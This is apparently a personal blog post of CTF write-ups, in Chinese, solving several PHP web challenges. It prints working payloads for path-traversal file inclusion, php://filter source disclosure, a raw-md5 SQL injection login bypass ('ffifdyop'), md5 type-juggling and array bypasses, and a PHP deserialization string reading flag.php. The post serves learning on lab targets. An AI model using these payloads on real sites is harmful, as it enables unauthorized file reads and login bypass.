[极客大挑战 2019]BuyFlag
像这种界面的好像一般都是左上角或者右上角是关键来着的
这里提示我们要 "一定是CUIT的学生!!你必须回答正确的密码!!"
老规矩,不知道下一步干啥就查看一下源码
真的很讨厌代码审计(因为不会),但是不慌,咱良好的英语功底和 VB功底(vb超菜)还是在的
if (isset($_POST['password']))
这里的有个POST['password],可以考虑是不是说明password要post请求,必须满足这个条件才能执行接下来的语句
查了一下这个语句,说明password必须不是数字才行,如果是数字,就执行elseif的语句,需要password为404多一个文本(比如404xjw啥啥的),好嘞看完了
反手一个抓包,提示 Only Cuit's students can buy the FLAG
我这里修改了一下user(0=>1)和请求(GET=>POST)的参数
看样子我们已经成功混入Cuits的学生队伍了,提示要密码
密码要文本形式的,输入404xjw,不知道为啥不行救命
知道啦,在某帅哥的帮助下成功找到原因,改了字符编码(UTF-8,宋体),就可以正常输出了
密码终于Right了呜呜,然后下一行它说要付钱,走起
搞定,哦哦,这里1e9是用科学计数法弄的,如果直接输入100000000的话,会显示长度超标的,还试了用十六进制编码,也超过了
[HCTF 2018]WarmUp
明明这道题在很前面,但是硬生生到现在才做哈哈哈哈哈
溘然出现了个猥琐笑脸,猥琐且无用哈哈哈哈,看一下源码
有个source.php被注释掉了,去访问一下
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//新创建一个白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
//判断传入的page值是否是字符串,要求$page为字符串,否则返回false
}
if (in_array($page, $whitelist)) {
return true;
//page是否存在白名单中,存在则返回true
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);//mb_strpos==>查找字符串在另一个字符串中首次出现的位置
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
//解码已编码的 URL 字符串
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //判断传入的file值是否为空
&& is_string($_REQUEST['file']) //判断是否是字符串
&& emmm::checkFile($_REQUEST['file']) //checkfile()函数对file值进行校验
) {
include $_REQUEST['file']; //需要通过file值进行包含
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
看了前几句发现还有个hint.php
访问一下,提示我们flag在ffffllllaaaagggg里面,留个心眼,继续看source
一些关键部分的代码已经在上面标注出来了,大概要求就是
1.值为非空
2.值为字符串
3.能够通过checkFile()函数校验
否则出现滑稽表情
因为服务器端会自动对url编码进行一次解码,checkfile()函数也会解码一次,所以对hint.php或者source.php后面的问号需要进行两次url编码
又因为我们不知道ffffllllaaaagggg文件存放的具体位置,所以就依次增加../,直到到达ffffllllaaaagggg目录下
?file=source.php%253f%2f../../../../ffffllllaaaagggg
[ACTF2020 新生赛]BackupFile
原来想用御剑扫一下目录的,试下来没什么可用的,也不知道是我没选全还是怎么的,用御剑做题目确实是很难扫全
回去看一下题目标题
说到备份文件就会想到要访问index.php.bak嘛,果不其然,文件里有
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
需要输入的key为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3才行,但是浅看一下会发现这个是个弱类型,如果输入他要求的key值必然会echo一个"Just num!",所以我们直接
?key=123
[BJDCTF2020]Easy MD5
页面有个提交框,试了试发现提交什么都没变化,就试着抓了一下包
发现有个Hint:select * from 'admin' where password=md5($pass,true),显然就是用md5进行注入了
ffifdyop
这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c
,这个字符串前几位刚好是' or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是1select * from 'admin' where password='' or '6xxxxx'
,等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数
输入框内可以看到出现了一个新页面
右键查看源代码
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
养成了个看到md5就试一下数据绕过的习惯
输入:?a[]=1&b[]=2
直接就可以了,但是感觉这一关考的不是md5数组绕过啊喂,就继续看看,这里要求a和b输入值不相同,md5加密后的值弱类型相等,就想到了0e的科学计数法
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
可以用这两个,也是ok哒,又出现了一个新关卡
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
这里跟上一关卡乍一看别无二致,但是这里两个值需要强类型相等
还是老样子先上数组绕过
param1[]=1¶m2[]=2
好喜欢这种一道题好几关又不难的感觉吼吼吼
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
这题跟上次云爆的那个比赛的赛题只能说yyyy了嘿嘿
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
这里就不解释了,不太明白的去参考一下这一篇的文件包含那道题第一届云剑杯(NExpC10ude_云爆) - Melody_许的博客 (qw1k.cn)然后就出来了一串base64编码
想着接下来的代码肯定就跟上面$password = unserialize($password)
有关了
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
在本地对其进行序列化
$a=new Flag();
echo serialize($a);
加了password参数发现还是不行,突然反应过来自己没有把file文件的伪协议改回来救大命哈哈哈哈
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
哇酷哇酷,第一次尝试反序列化,发现也没有想象那么恶心
评论已关闭